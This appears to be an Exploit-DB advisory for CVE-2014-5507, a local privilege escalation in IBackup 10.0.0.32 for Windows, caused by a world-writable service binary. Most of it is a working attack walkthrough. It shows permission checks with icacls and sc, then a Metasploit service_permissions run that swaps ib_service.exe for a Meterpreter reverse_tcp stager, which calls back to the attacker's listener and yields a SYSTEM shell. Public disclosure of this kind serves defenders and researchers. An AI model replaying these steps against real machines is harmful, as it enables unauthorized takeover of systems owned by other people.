iBackup 10.0.0.32 - Local Privilege Escalation

EDB-ID:

35040




Platform:

Windows

Date:

2014-10-22


# Exploit Title: iBackup <= 10.0.0.32 Local Privilege Escalation
# Date: 23/01/2014
# Author: Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>
# Version: 10.0.0.32
# Vendor: IBackup
# Vendor URL: https://www.ibackup.com/
# CVE-2014-5507


Vulnerability Details
There are weak permissions for IBackupWindows default installation where everyone is allowed to change 
the ib_service.exe with an executable of their choice. When the service restarts or the system reboots
the attacker payload will execute on the system with SYSTEM privileges.


C:\Users\0x414141>icacls "C:\Program Files\IBackupWindows\ib_service.exe"
C:\Program Files\IBackupWindows\ib_service.exe Everyone:(I)(F)
                                               NT AUTHORITY\SYSTEM:(I)(F)
                                               BUILTIN\Administrators:(I)(F)
                                               BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files


C:\Users\0x414141>sc qc IBService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IBService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\IBackupWindows\ib_service.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IBackup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem



msf exploit(service_permissions) > sessions 

Active sessions
===============

  Id  Type                   Information                    Connection
  --  ----                   -----------                    ----------
  1   meterpreter x86/win32  0x414141-PC\0x414141 @ 0x414141-PC  192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102)



msf exploit(service_permissions) > show options 

Module options (exploit/windows/local/service_permissions):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   AGGRESSIVE  true             no        Exploit as many services as possible (dangerous)
   SESSION     1                yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.0.100    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(service_permissions) > exploit 

[*] Started reverse handler on 192.168.0.100:4444 
[*] Meterpreter stager executable 15872 bytes long being uploaded..
[*] Trying to add a new service...
[*] No privs to create a service...
[*] Trying to find weak permissions in existing services..
[*] IBService has weak file permissions - C:\Program Files\IBackupWindows\ib_service.exe moved to C:\Program Files\IBackupWindows\ib_service.exe.bak and replaced.
[*] Restarting IBService
[*] Could not restart IBService. Wait for a reboot. (or force one yourself)

Upon Reboot or Service Restart

[*] Sending stage (770048 bytes) to 192.168.0.102
[*] Meterpreter session 2 opened (192.168.0.100:4444 -> 192.168.0.102:14852) at 2014-07-21 00:52:36 +0300
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 2...

msf exploit(service_permissions) > sessions -l

Active sessions
===============

  Id  Type                   Information                       Connection
  --  ----                   -----------                       ----------
  1   meterpreter x86/win32  0x414141-PC\0x414141 @ 0x414141-PC  192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102)
  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ 0x414141-PC  192.168.0.100:4444 -> 192.168.0.102:14852 (192.168.0.102)